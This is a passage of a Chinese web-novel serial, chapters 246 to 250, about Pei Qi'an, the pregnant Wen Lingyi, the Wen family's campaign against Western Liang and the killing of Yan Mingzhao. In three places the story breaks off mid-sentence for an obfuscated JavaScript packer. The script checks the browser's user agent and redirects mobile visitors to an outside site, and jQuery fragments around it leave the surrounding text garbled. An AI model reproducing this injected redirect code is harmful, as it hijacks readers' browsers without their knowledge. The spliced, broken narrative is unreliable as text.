“你本可以名正言顺的迎娶令仪,哪怕外界传言你是天阉之人,温家当时也会选择你,而不是选择晏家。”温长安语气里有责怪之意。 裴祈安垂首:“您有所不知,当初令仪错认晏怀卿,在药王谷受令仪救命之恩的人是我,可我并不知道令仪是错认了他,以为是心悦甚然,不敢横插一脚,让令仪不能跟心仪之人白头偕老。” 温长安了冷哼:“你倒是无辜的很,还委屈了?” “玉琢不敢有这样的想法,还有另一隐情,玉琢身负血海深仇,从来就没有放弃过报仇,若因喜欢令仪,牵连了她和温家上下,那才是玉琢的大错。”裴祈安低下头:“后来发现晏怀卿绝非良配,玉琢便筹谋着带走令仪,只不过一切都没来得及,令仪临盆之后找到了我,之后才是我们二人商议如何把温家送出京城。”裴祈安低着头:“如今,令仪又有了身孕,玉琢是绝不敢再委屈令仪一分一毫,这就上奏折请皇上赐婚。” “胡闹!”温长安冷声:“还想以退为进,真以为我不敢打你?!” 裴祈安哪里敢回嘴。 说以退为进也不为过,毕竟裴祈安心里很清楚,从大局上看,自己迎娶温令仪对谁都不利,可他也确实想要利用这次的机会,在温家人面前,名正言顺的和温令仪在一起。 温长安又是摇头,又是叹气,末了摆了摆手:“起来吧,你也心里明镜儿似的,我们不会苛责你,更不用说一家人心疼令仪了,如今你身负监军之职,皇上那边恨不得一举一动都盯着,若非你安排周全,这件事也瞒不住,既能瞒得住,那就让令仪在漠北养胎,走一步看一步。” “岳父大人,小婿这就准备聘礼、婚书,虽不能声张,但绝不会亏待阿宁。”裴祈安打蛇顺棍就上来了。 温长安见他敢抬头了,脸色一沉:“你上嘴唇一碰下嘴唇就不会亏待令仪,这不明明就亏着我的女儿吗?你若花言巧语哄骗她,温家也是接得住自家女儿的,也别说什么聘礼和婚书,若不能光明正大,那也就别费心操持,令仪若是不愿意嫁你,大不了临盆之后,孩子随温家姓。” 裴祈安脸色一下就白了。 “你不是想要见她吗?尽可过去,但休要说什么聘礼和婚书的话。”温长安淡淡的说:“并非你想要娶,令仪就一定要嫁。” 裴祈安确实太想见到温令仪了,也明白眼前这一声岳父大人是叫不成,起身恭敬的鞠躬:“玉琢去看看令仪,再给您赔罪。” 温长安摆了摆手,没言语。 裴祈安出门,有小厮带路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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温令仪轻轻摇头:“非但不能,还要避嫌,虽说漠北到现在都看不出任何不安定的苗头,可永元帝如今如惊弓之鸟,哪里会真不想在漠北安插眼线?越是这个时候越是要顾全大局。” “嗯。”裴祈安起身,握着温令仪的手,挨着她坐下:“我要和二哥往西凉去,萧玄策从西动手,西凉最终想要退守到神女山。” 温令仪蹙眉:“佛尔果春想要借势,耶律安很强吗?” “是,西凉几乎所有的部落都支持他,让他首尾难顾,就能破敌。”裴祈安说。 温令仪沉吟片刻:“看来,西凉的皇帝命不久矣了,何时发兵?” 第246章 不是出征,他非要杀了晏明昭 裴祈安低声:“不急,总不能因贪便宜,反倒吃亏了。” “是我多虑了。”温令仪刚要说话,这一阵干呕就怎么都压不下去了,赶紧起身出去了。 裴祈安紧随其后,看着温令仪呕到脸色涨红,急得直搓手,他记得怀女儿那会儿没如此折腾,可见这一胎不省心,回头必要教训几句不可! 丫环送来了温水,还有酸枣。 等温令仪回头,裴祈安立刻过去扶着她。 “我累得很,要歇一歇。”温令仪说。 裴祈安看着躺在床上,片刻就睡着了的温令仪,心里只剩下心疼了,轻手轻脚出去,叫来了刚才服侍温令仪的小丫环,仔仔细细的问了这些日子温令仪是怎么过来的,小丫环一五一十的回话后,裴祈安在温令仪的床边坐了好半天,起身出门直奔大营去了。 到了大营,找到了沐白。 沐白在泾河府受伤不轻,不过恢复的很好,这些日子都在给驻扎在漠北多年的将士们治疗风寒痹阻的毛病,见到裴祈安,起身过来拱手一礼:“摄政王怎么来了?” 裴祈安搓了搓手:“师兄弟们谁看妇科最好?” “哈哈哈哈……”沐白笑得打颤,指着裴祈安,突然整个人都僵住了一般,那笑声戛然而止,整个人严肃起来:“谁病了?” 裴祈安摆手:“没人病了,我就问问你们师兄弟几个谁看妇科最好。” 沐白走过来,冷不防出手抓住了裴祈安的领口:“小师妹怎么了?” “有身孕了。”裴祈安无奈的看着沐白。 沐白如遭雷击,缓缓地松开手,甚至还拍了拍裴祈安的肩膀:“跟我来。” 裴祈安跟着沐白走出大帐,大帐后面是山,古木狼林,怪石嶙峋的山脚下,沐白发疯了一般出手,裴祈安哪里会跟沐白动手?只能闪躲腾挪,避其锋芒。 沐白累得坐在地上,大口大口的换气。 裴祈安坐在对面,两个人之间的距离略微有些远。 “你知不知道小师妹不容易?晏怀卿是个混账,你比晏怀卿强不了多少!”沐白抬头,恶狠狠的看着裴祈安:“你招惹她作甚?她为了你们所有人付出的还不够多吗?敲骨吸髓吗?” 裴祈安无言以对,沐白都知道的事,自己知道的更多,可自己对温令仪的情意,该怎么说出口?真要和沐白从头说起,又觉得乱线无头,更有一些不能说的情意。 沐白见裴祈安不肯说话,发了狠一般点了点头:“行!姓裴的!你就记住了,世俗那些条条框框根本管不住我小师妹!药王谷是曾经的恶人谷!小师妹只要愿意,做什么都行!” 扔下这一句话,沐白回去大营,取了一些补药,策马回城,要说谁看妇科好,沐白还真不放心别的师兄们给小师妹看。 回来的路上,沐白脑海里是小师妹在泾河府门前的模样,她那么的大义凛然,那么憔悴,本该是千娇万宠的药王谷小师妹,是镇国公府金尊玉贵的小姐,怎么就遇到了男人后,有吃不完的苦呢? 晏怀卿明媒正娶却处处算计,这已经就够伤人了,偏偏还跟着裴祈安有了身孕,世人所不容,一口一口唾沫都能淹**,难道裴祈安就不知道人言可畏四个字吗? 更不用说,这些人身中半边月,小师妹都成了他们的血袋了,一次次的解救他们,那血是什么啊?是命啊! 进了漠北城,沐白翻身下马,找到了零食铺子,仔细的挑选每一样零嘴儿,出门的时候背了个大袋子,走到温家门口的时候,人已经平静好了,礼貌的和门口小厮打招呼,进了温府先去见了温夫人,温夫人让人带着他去看温令仪。 “师兄,你怎么来了?”温令仪知道是裴祈安去找他了,有些难为情的勾了勾唇角,伸出手要给沐白倒茶。 沐白拿走了茶壶,把零嘴儿袋子放在桌子上,坐在一边:“你从小是个小馋猫儿,看你这脸色多不好,不管是什么,只要是想吃的就吃一些,实在吃不下,师兄可就要给你喝药汤了。” 温令仪打开零嘴儿袋子:“倒也不是吃不下,这是吃下去没一会儿就要吐出来,折腾的难受。” “不难受,你怎么能知道当娘不容易?”沐白皱眉:“若你这般由着自己的性子,回头孩子也长不好,你这一张嘴可管着两个人儿呢。” 温令仪低下头,小声说:“知道了。” “你知道了有什么用?我给你诊脉。”沐白伸出手。 温令仪乖顺的递过去手腕,沐白一搭手,心里就抽疼,气血不足,早就知道,可这样的脉象又要孕育胎儿,怎么能不辛苦呢? “师兄,我是想要让小囡囡多个手足 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16038100|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”温令仪说。 沐白笑了:“知道,小囡囡那会儿我们都不知道,如今这一胎啊,也不劳烦别人帮忙,送去药王谷,我们师兄弟给你照顾着。” “就这般辛苦孕育,准是个不省心的。”温令仪笑着说。 沐白摇头:“放心吧,小师妹的孩子不会不省心,也不是孩子闹腾你,你这身体太虚,养胎不容易,药膳用一些,平日里也要多吃点儿,吐就吐,总归吃得进去才有得吐不是。” “师兄,你这样子比我母亲还唠叨。”温令仪笑得眉眼弯弯。 沐白无奈的笑了:“那怎么办呢?反正我得说,若不是这边随时都可能有战事,我们师兄弟几个非要把你带回药王谷养胎,免得你思虑太重,伤神也伤身。” “怎么能思虑不重,如今是箭在弦上,偏偏还不能开战,时机不成熟的时候要等待,可又担心错过良机。”温令仪摇了摇头:“一旦开战,那都是我的亲人啊,温家军的将士们,也是我们温家的人呢。” 沐白抬眸看着温令仪,摇头:“这不可取,你只管安心养胎,外面的事有裴祈安,有温家大公子和二公子,怎么也轮不到你费心费力的,若是真要你这般操心,那他们岂不成了摆设?” 温令仪低声:“师兄,我这里有一些可用在兵器上的毒,这毒不致命,能让人三息之内没有抵抗能力,你把方子带回去,真要能用在战场上,少造杀孽,又能大胜仗,如何?” “好。”沐白答应的爽快,没有说什么妇人之仁,小师妹生在将门,哪里不知道两军对垒就是你死我活的生死局呢? 裴祈安立在门外,抬头看天,阿宁在漠北,怎么能养胎呢?要快一些,快一些开战才行啊! 沐白没有离开,而是在这边给温令仪准备药膳。 翌日。 温令仪刚吃过了一碗肉粥,胃里暖融融的舒服,没有要呕吐的迹象,温夫人过来看望女儿,见她气色略好了一些,说了几句话就要走。 “母亲,为何着急?”温令仪觉得奇怪。 温夫人笑了:“没什么事,娘想让你多歇一歇。” “是要送二哥出征了,对不对?”温令仪站起身,看着母亲的表情。 温夫人点了点头:“不过,不是出征,而是往雁门关去,他非要杀了晏明昭。” 第247章 西凉皇帝,驾崩了 “二哥英明,母亲,我也要去见一见二哥。”温令仪说。 温夫人只能带着温令仪往书房来。 书房里,温长安手里拿着从雁门关送来的密信,裴祈安和温慕阳坐在椅子上。 “这么说,赵诚有意要合作?”温长安眯起眼睛:“兵不厌诈,这晏家本就气数尽了,可偏偏这个晏明昭邪门得很。” 裴祈安说道:“那边的人早就安排了一些,晏明昭有心往神女山去,赵诚是个有家国情怀的人,若非发现晏明昭心口不一,也不会愿意做内应。” “父亲,我这一趟不会耽搁太久,晏明昭亲自率领三万人往燕京去,我半路杀了这厮,赵诚会接替晏明昭带兵,到时候便能是助力我军。”温慕阳说。 温令仪扶着温夫人从外面走进来,听到这里说到:“二哥这一趟是必须去的,尽管杀晏明昭无需二哥出手,赵诚虽有家国情怀,可也怕所托非人,父亲,让裴祈安同去,二哥的份量若不能让赵诚安心,摄政王三个字还是很管用的。” 裴祈安和温慕阳都看过来了,温令仪给温长安行礼后,退到温夫人身边坐下来,抬头便对上了裴祈安的目光:“总归不能耽误大局,要速战速决,这样的事,你最擅长了。” “是,阿宁说的也正是我心里想的。”裴祈安确实想要去,奈何温慕阳不让啊。 温慕阳清了清嗓子。 温令仪转过头:“二哥,你说呢?” “好。”温慕阳本意是要反对的,可是小妹看着自己,自己就不想说她不爱听的。 温长安这才放心,知子莫若父,这个二儿子带兵打仗绝对是可以的,可是要想拿捏人心,不战而屈人之兵,略逊一筹,只是裴祈安如此奔波,他也不好说出让裴祈安去的话。 “那就这么办,也别说带多少人,你们二人就足够了。”温令仪说到这里看向温长安:“父亲这几日可以暂时代替二哥练兵,总不能让外人看出端倪来。” “好。”温长安总觉得女儿还是有什么事没有全告诉自己,太明显了,裴祈安听话也就罢了,刚才死活不同意裴祈安一起去的二儿子,竟一口答应了。 兴兵动武,虽说是温家现如今的职责所在,但杀晏明昭,总归是对一个孩子出手,不明真相的人必定会诟病温家想要独揽兵权,刚刚接到了罗无咎的密信,晏明昭差人送了一封陈情书信给永元帝,一方面极力证明其父晏怀卿是诈降,另一方面就是在攻讦温家和裴祈安勾结。 永元帝信不信都不重要,这样的风声在京城愈演愈烈,至于谁放出去的风声,可能是永元帝也可能是晏明昭,但归根结底对温家不利。 若是此时杀了晏明昭,温家确实要承受很大的压力。 “父亲,可以让赵诚弃暗投明。”温令仪说。 这句话,一锤定音。 温长安非常赞同,这也是自己的想法,不过慕阳这孩子是发了狠要亲**了晏明昭,以至于就算自己是父亲,也不能太压制着,毕竟如今的温家军主帅是他。 当晚,裴祈安和温慕阳就离开了。 与此同时。 晏明昭率军已经到了燕京城二百里外,安营扎寨的他并不着急到燕京城,赵诚一路上心里都十分不爽,不明白晏明昭为何会往燕京来,他是不相信晏明昭说‘深入敌腹’的计策的,要知道晏家军如今并没有强大的后援,深入敌腹的弊端太明显,一旦失策,这些兄弟们就会战死他乡,不值得。 晏明昭这段日子心神不宁,怎么都睡不踏实。 拼命的回想关于西凉的点点滴滴。 本来躺着,猛地坐起来,上一世西凉乱起来没有这么早,耶律齐也没有突然暴毙,耶律安能得西凉,是因为有温慕阳助阵,也就是说一切都提前了,再往不好想,一切都改变了,本来该发生的事都没发生,不该发生的事接踵而至。 他不想步叶染秋和晏怀卿后尘,如今自己能得赵诚这些人拥护,可也极有可能瞬间就失去,因为自己实力不足,难以服众,全靠着很多年前的那点儿情分维系,他才不相信所谓的忠义和护主呢。 如今在晏家军中,赵诚是自己的救命稻草,一旦赵诚不高兴了,自己就可能什么也没有。 悄悄地下地,穿了鞋出了大帐,转圈看一眼,赵诚的帐篷里透出了微弱的光。 蹑手蹑脚的走到赵诚的帐篷外,侧耳往里面听。 “摄政王的话,我不信。” 赵诚的声音传来,晏明昭被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16038101|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吓得浑身一个机灵,摄政王?裴祈安来了? “赵诚,你心里最清楚,晏怀卿当初是诈降还是处心积虑投递叛国?你若是不确定,就不会带着旧部离开雁门关,回去山里,而你也一定看到了晏怀卿打开国门,耶律齐率领西凉兵马长驱直入,杀过了泾水河。”温慕阳说。 帐篷外,晏明昭如坠冰窟,不单裴祈安来了,温慕阳竟然也来了,他们是不找自己,直接去找赵诚,显然是要釜底抽薪,若是想要辅佐赵诚上位,自己必死无疑,所以这两个人是来杀自己的,更是来收编晏家军的! 这个想法出现,晏明昭再也不敢耽搁,回到自己的帐篷里,把这些日子存下来的银票都贴身装好,换了一身破旧的衣服,悄悄的离开大营,直接钻进了山里。 他一口气跑到了天亮,不知道身在何处,找到一个隐蔽的地方坐下来,捂着脸嚎啕大哭,他本该成为少年神将,本就是荣华富贵的命,可怎么一直都犹如丧家之犬一般东躲西*藏的啊? 如今连最后这点儿仰仗也没有了,能去哪里?这副身体哪里经得住折腾?燕京去投靠耶律安?别闹了,耶律安不可靠,可回去大夏吗?只怕自己不等到大夏,就被草原上的野兽吃了。 越想越害怕,也不敢睡觉,拖着疲惫的身子一路往前跑,心里只有一个想法,离赵诚越远,就越安全。 殊不知,赵诚并不曾搭理温慕阳和耶律安,但保持了基本的礼数,客气的送走了二人。 可清晨出去点兵,却不见晏明昭,这么小的孩子怎么能让人放心,赵诚想要再劝阻晏明昭撤兵回雁门关。 知道晏明昭现在不管是在西凉还是大夏都不讨好,还是比较赞成晏明昭要驻进神女山的打算,已经派遣了七千人的队伍往神女山去了,若晏明昭愿意,晏家军都撤走,在神女山占有一席之地,可坐山观虎斗。 可当他来到晏明昭的大帐,发现晏明昭不见了踪影,心里顿时五味杂陈。 立刻差人到处寻晏明昭,可日落时分也没有一点儿消息,赵诚陷入了进退两难的境地。 “赵诚,如今你还觉得晏明昭是个可保的旧主血脉吗?”裴祈安立在大帐外,看着赵诚:“不妨告诉你,西凉皇帝,驾崩了。” 第248章 迟迟不动手,到底在等什么呢 赵诚拱手一礼:“摄政王高抬贵手,我带着我的兄弟们回去雁门关占山为王,不会再掺和这些争斗之事。” “好。”裴祈安并没有为难赵诚,转身离开了。 赵诚倒是痛快,召集这些人到一处,也没什么废话,愿意跟他走的,回去雁门关后,进山落草为寇,不愿意跟他走的,也要到了雁门关后,投靠罗政,镇守雁门关可功过相抵。 这些人本来就群龙无首,赵诚足够坦荡,到了这个时候谁都要为自己多做打算,在裴祈安的注视下,这些人简直如退潮一般离开了。 裴祈安轻轻地吸了口气,虽然和预想的略有偏差,可到底解了温慕阳的心结。 此时,温慕阳居高临下看着跪在地上磕头的晏明昭。 他可没少费力气,带来的人撒网一般到处找晏明昭,终于找到了。 “我不敢跟温元帅攀亲,可我到底是个孩子,您就放我一条生路吧。”晏明昭磕头在地,哀求道。 温慕阳摆手让所有人退后,他直接坐在草地上,打量着晏明昭:“若你真是个孩子,杀你都脏了我的刀,可你十分清楚的知道怎么杀了我的小妹,又怎么杀了我,甚至温家上下如何死在昏君刀下的,不是吗?” “不是,不是,我什么也不知道。”晏明昭摇头犹如拨浪鼓,哭得那叫一个凄惨:“我只是个孩子啊,我只是不想死啊。” 温慕阳没搭理晏明昭,自顾自的说:“叶染秋死在了漠北水牢里,你知道她是怎么死的吗?” 晏明昭摇头,使劲儿的摇头。 “是跟我小妹的死法一模一样的,放血、剖心,虽然没有用三十年那么久,可该有的都有,只是这样我都不解恨。”温慕阳扫了眼晏明昭,见他脸色苍白,冷笑:“你和晏怀卿会在乎叶染秋怎么是的吗?根本不会!因为叶染秋去漠北,本就是死路一条!我的小妹在京城,谁人不知?我温家会不知道来的人是叶染秋?” 晏明昭不吭声,因为温慕阳说的没错,他知道,晏怀卿也知道,但叶染秋去漠北就是为了讨好西凉的同时,给永元帝心里插上一根刺! “晏怀卿怎么死的?”温慕阳看着晏明昭。 晏明昭等到眼睛,盯着温慕阳,晏怀卿怎么死的?难道温慕阳也知道不成? 温慕阳眯起眼睛:“这就是我必须杀了你的原因,你连你亲爹都能杀,为了达到目的不择手段,留着你必定是后患无穷!” “温慕阳,你就那么相信所谓的重生吗?”晏明昭知道自己今天九死一生,也就不再哀求了。 温慕阳噗嗤笑了:“怎么?要拿出来你上一世骗我自尽,奉上人头让你邀功的本事了?” “人之将死罢了,光怪陆离的事,谁会信?温令仪说重生就是重生了吗?那我问你,现在的温令仪还是你认识的小妹吗?她的所作所为,难道不是另有目的吗?”晏明昭盘膝坐下:“人就只有一辈子,这辈子活得好与不好,那都是命!” 温慕阳仔细的打量着晏明昭,小小年纪,顾此失彼,如此侃侃而谈,不过是挑拨离间。 小妹付出的一切,自己都看在眼里,温家能有今天,哪里容易?若非小妹步步为营的安排,昏君杀心一直都有,温家没有破局的路,空有本事也都徒劳,困在京城,早晚都的死。 真以为别人的三言两语能让温家人心生嫌隙? 取出来匕首,当着晏明昭的面淬毒,那毒药沾染在匕首上没什么变化,可落在草地上,瞬间起了黑烟,一小片本还有绿意的草,瞬间成了黑色,可见毒药的毒性十分霸道。 晏明昭瑟缩了一下,往后退的时候,死死地盯着温慕阳手里的匕首,他非但要杀自己,甚至一点儿活路也不给。 没有给晏明昭再废话的机会,温慕阳抓住了他的头发,用最为以牙还牙的手段杀了晏明昭,人头直接扔到了一丈开外,匕首扔在尸体旁边,起身离开。 原本驻扎晏家军的地方,空荡荡的。 裴祈安立在不远处,看着温慕阳骑着马往自己这边来。 “都走了?”温慕阳扫了一圈,略有些遗憾:“赵诚很固执。” 裴祈安拍了拍温慕阳的肩膀:“这个人,若非让他心服口服,很难收服,你得逞所愿要尽快回漠北,西凉皇帝驾崩,接下来萧玄策会动手,我们不能太慢。” “你去雁门关?”温慕阳问。 裴祈安点头:“罗政趁机拿回雁门关,并且发兵阻击西凉兵马往神女山去的路,如此才能锁定胜局。” 温慕阳也不多废话,二人就在这里分开。 雁门关外,罗政一直都在勤加练兵,时刻关注雁门关动态,当得知晏家军再次往西凉燕京去的时候,罗政知道收回雁门关的机会终于来了。 率军挺近雁门关,沿途百姓纷纷加入罗政的队伍,罗家军俨然已经有了雏形。 当裴祈安来到雁门关的时候,正是罗政第四次正面攻城,与此同时赵诚率领手下也到了雁门关。 没用裴祈安露面,赵诚便率领自己的手下里应外合,把驻扎在雁门关的西凉兵马杀了个鸡犬不留。 当雁门关的大门打开,罗政眼眶发红,高举宝剑:“兄弟们!我们终于拿回雁门关了,随我进城!” 众将士欢呼雀跃,进了雁门关。 赵诚率领所有人等候在城内,罗政见这些人手无寸铁,翻身下马走到赵诚跟前,抱拳一躬到地:“赵兄大义,请受罗政一拜。” 赵诚赶紧扶住了罗政:“罗元帅,在下不过是举手之劳,弥补之前的过错,如今请罗元帅开恩,放我们归隐山林,若有愿意留下,追随罗元帅保家护国的,某也绝不阻拦。” “好!”罗政答应的爽快。 一直到深夜,赵诚带走了不足一千人离开,余下的人都誓死追随罗政。 罗政睡意全无,外面在摆庆功宴,而他一个人在将军府的书房里,看着神女山的舆图。 “贪功冒进可不好。”裴祈安从外面走进来。 罗政转身,看到裴祈安的时候,挑眉:“你倒真会挑时候,早不来,晚不来。” “你怎么知道我早没来呢?”裴祈安自顾自的坐下,倒了一杯茶给自己:“我以为你会收下赵诚,那可是个好部下。” 罗政坐在旁边:“这也要看缘分,赵诚跟我没那么投缘。” “你还信这个?”裴祈安取出来一封信递给罗政:“罗老大人的家书。” 罗政丝毫不意外,若是在京城那会儿,他就像是个白痴一般,如今可不是了,这近两年的历练,他比任何人都支持裴祈安和温家,昏君的江山坐到头了,有能者居之,百姓才能安居乐业。 书信放在一边,罗政看着裴祈安:“你迟迟不动手,到底在等什么呢?” “你着急了?”裴祈安看着罗政,心里就有些幸灾乐祸,着急也没用,自己和阿宁的第二个孩子都来了呢,真好奇等罗政知道真相后,会怎么样。 第249章 要么,我先回去? 裴祈安这会儿简直大方的很,请罗政入座,取出来舆图,这是整个西凉的舆图,仔细的跟他讲接下来西凉会发生的事,听得罗政一愣一愣的。 “裴祈安!” 罗政听到最后,激动的站起来了:“你简直是神人!之前祖父曾说过,若你想要成事,最少还要准备十年,你是怎么做到的?” “都是机缘巧合。”裴祈安说的轻描淡写,可心里又狠狠的想念了一遍温令仪,在为自己孕育子嗣的女人,值得更早的过上安稳的日子。 罗政挑起大拇指:“别说了,你尽可去安排,神女山就是西凉人永远到不了的地方!” “好。”裴祈安确实需要尽快离开,转身走了几步,罗政追上来:“如果那个佛尔果春来了,是不是要留个活口?” 裴祈安抬头看了看外面的天儿:“嗯。” 罗政亲自骑着马送裴祈安出了雁门关,勒马拱手一礼。 裴祈安还礼后,策马而去。 “希望你能得偿所愿。”罗政拨转马头,望了望京城的方向,也希望自己能得偿所愿,到那个时候,温家再也不会被人掣肘,更不需要委曲求全,祖父和大哥都在为自己让路,他身为罗家子孙,绝不能让祖父和大哥输! 雁门关捷报送往京城,比捷报更快的是众合商会的补给。 罗政是恨透了永元帝的,因从泾河府反攻开始,一直到现在拿下雁门关,他和这些将士们靠百姓救济,靠众合商会。 众合商会放在一边不说,就说那些百姓,水灾、时疫,哪一样不是要命的,偏偏为了不做亡国奴,宁可一家人饿着,也要把吃喝让给他们,就这份情义,谁说将士戍边关是为了国?狗屁!就是为了这些淳朴、善良又手无寸铁的老百姓! “把这些粮食全部分发下去。”罗政一声令下,手底下的将士们根本没有犹豫的,众合商会的马车满载而来,又满载而去,手里多了一本册子,上面记录着每家每户百姓给他们的帮助,十倍偿还的承诺,众合商会要帮着兑现! 泾水河,崔家人倾巢出动,两岸百姓在漕帮的带动下,筑堤开渠,百姓们日出而作,日落而息,虽得不到分文报酬,可一个个都干劲十足,因为他们的祖辈埋在这里,他们的儿孙要生活在这里。 在泾水河到雁门关的这一片江南之地,发生了天翻地覆的变化,只不过这样的变化,京城里的人不知道,永元帝不知道,但温令仪知道。 打从有了身孕后,温令仪的日子就像都停下了似的,一天一天的日子没有多大的变化,直到温慕春回来。 “小妹,给你看点儿你喜欢的。”温慕春拿出来厚厚的一摞书信。 温令仪将信将疑的打开,越看越兴奋,忍不住抚掌:“好!好!罗政是个好男儿!” 温慕春看着小妹露出如此发自内心的笑容,忍不住跟着勾起了唇角:“只是,罗政的命不好。” “谁说命不好?”温令仪疑惑地看着温慕春:“怎么了?难道他遇到了不好的事?” 温慕春摇头:“倒不是因为遇到了不好的事,而是没遇到对的人。” 原本还兴奋的温令仪下意识的抚上了小腹,垂下头:“大哥,你知道的,从最开始我和罗政就没有任何可能,更不用说现在了,我没有回头路可走,也没想过走回头路。” 温慕春取出来果脯匣推到温令仪面前:“大哥也不是让你走回头路,只是为罗政担忧,少年意气,为了博得红颜芳心,从京城人人都哄着的纨绔到提刀上马上阵杀敌的将军,这份深情足够深,深到让他改变了本来的人生轨迹和心性,古语有云,江山易改本性难移,他是本性都移了。” “所以,大哥跟他算是惺惺相惜吗?”温令仪抬头:“若是遇到好女子,倒是可以促成一段好姻缘。” 温慕春抬起手戳了温令仪的眉心:“什么是好姻缘?男欢女爱,彼此情投意合,那叫好姻缘,从来好姻缘都不是外人品头论足衡量出来的,而是两个人灵犀一点的相互珍惜,你觉得现在的罗政能对什么样的女子动心?若现在都不能,将来的罗政要多难才会遇到一个心仪的女子?” “所以,大哥说的对,罗政遇人不淑,我就是那个不良人。”温令仪轻轻地叹了口气。 温慕春抿了抿唇角,良久才说:“若是裴祈安非良配。” “大哥,那我也不能糟蹋罗政。”温令仪眼神决然:“我会回去药王谷占山为王。” 温慕春摆了摆手:“裴祈安未必不是良配,只是为了的他终究会难以全都遵从本心活着,从来君臣都是在互相制衡,不过是东风压下西风,西风压倒东风罢了。” “我明白。”温令仪轻声。 温慕春拍了拍温令仪的肩:“没事,看看那些民间的话本子,虽都是戏说,可里面蕴含着大道理,总好过你这每天都萎靡不振的好。” 温令仪还真开始看话本子了,不过是打发无聊,更多的时候在算账,若非是她不能在外面频频露面,都想要去寻找一些手艺人了,毕竟牛羊皮制衣这一块儿,西凉人的手艺极好,漠北这边的百姓也都会一些,冬日里寒冷,牛羊皮制衣送到京城各处,那是很巧儿的买卖。 裴祈安比温慕春晚了三天回来,风尘仆仆的他见到温令仪,只说了一句:“阿宁,我困。” 温令仪是堪堪起身,裴祈安直接趴在床上,只抬起手拉住了温令仪腰上的禁步便睡着了。 “二小姐。”丫环进来送粥,这是温令仪每天晚饭前都要喝一点儿的暖胃粥。 温令仪见丫环吓到了似的,不敢看躺在床上的裴祈安,柔声:“放下吧,去请大哥过来,就说他等的人回来了。” 丫环听命,赶紧退下了。 温慕春来的时候,看到裴祈安这幅样子,有些埋怨的看了眼温令仪。 “大哥,我也是没法子,他累坏了。”温令仪赔着笑脸:“我也害怕耽误了大事。” 温慕春坐在一旁:“你二哥三日前已经悄悄发兵往西凉去了,他只怕一路就奔着你回来,都没有去大营看看。” 温令仪不知道说什么,脸上微微发烧。 “大哥说得对,我不看到妻儿,心里就不踏实,让我睡个把时辰就起来。”裴祈安说着,松开了温令仪的禁步,倒把温令仪的手握住了,那柔软温热圈在掌心里,心里别提多安稳了。 温令仪清了清嗓子,看温慕春。 “要么,我先回去?”温慕春翻了个白眼儿。 温令仪脸红得厉害,看着大哥步履匆匆的离开,回头拧了裴祈安的耳朵。 裴祈安撩起眼皮儿,眼里那还有睡意,起身贴过来在温令仪的耳边小声说:“阿宁,陪着我睡一会儿,好不好?” 第250章 你以为我会让你逃走吗? 温令仪无奈的躺下,侧着身。 裴祈安凑过来贴在温令仪的腹部:“我们的孩子现在多大了?我说话,能听到吗?” “还不足三个月,听到什么?”温令仪推开他的脑袋:“快睡一会儿,二哥出征,大哥就回来了,必定是有大事等你商议。” 裴祈安握着温令仪的手:“若是个争气的,以后这江山就后继有人了,若是个不争气的,囡囡必须抢回来。” “都说孩子听不到。”温令仪抬起手取下裴祈安固发的发簪:“快睡一会儿吧。” 裴祈安*拉着温令仪的手轻轻地吻了一下:“给孩子的娘亲听也一样,不如阿宁等我回来的日子里想一想,这江山是文取还是武拿。” 势在必得,这不单单是裴祈安的心思,也是温令仪甚至温家的心思。 只不过京城的消息到底来的迟,山高路远,也不知道京城如今怎么样了。 “玉郎,西凉这边要多久能安稳下来?”温令仪问。 裴祈安闭目养神:“至少十个月。” 温令仪看自己的腹部,再看裴祈安:“你就不怕夜长梦多?” “不怕。”裴祈安贴在温令仪的怀里:“等孩子降生,我们回去京城,那就是文取,若不等我们的孩儿降生,永元帝就要兴风作浪,那就武拿。” 温令仪轻轻地拍着裴祈安的背:“睡吧。” 这个男人要执掌天下的权利,可又处处都要顾及自己的感受,真不知道是对是错。 其实,温令仪很清楚为何说十个月,若在自己的孕期,自己的男人和自己的兄长们都在战场厮杀,自己怎么也没办法安心养胎,牵肠挂肚都是轻的,自己甚至敢去两军阵前,虽然别的忙帮不上,可自己的医术完全可以助他们一臂之力。 可十个月啊,总觉得太漫长了。 裴祈安一个时辰后,起身去了书房。 温长安和温慕春都在这里等着。 三个人商议了很久,温慕春才点头,显然是满意裴祈安的安排了。 等温令仪再接到消息的时候,温慕春回去了苍山,裴祈安去了西凉,而西凉皇帝驾崩的消息草原上都知道了。 佛尔果春成了太后,辅佐耶律致远坐上了皇位,新皇才五个月,倒是不哭不闹的在襁褓里睡觉。 海蓝嘉善成为托孤大臣,可摄政。 燕京城里,谁都知道这皇位是海蓝家的,很多人甘愿臣服,可也有一些人全额会给你利弊之后,蠢蠢欲动。 耶律安困守京城半个月,得知父皇驾崩,他立刻拿出来遗诏,要匡扶正统,讨伐海蓝一族,除了燕京城内,草原上一呼百应。 就在耶律安要攻打燕京城,坐上皇位的时候,突然西域三十六国发难,连破西凉西部两城。 “狼子野心!竟敢趁人之危,萧玄策就是个小人!”耶律安把战报拍在桌子上,怒骂萧玄策。 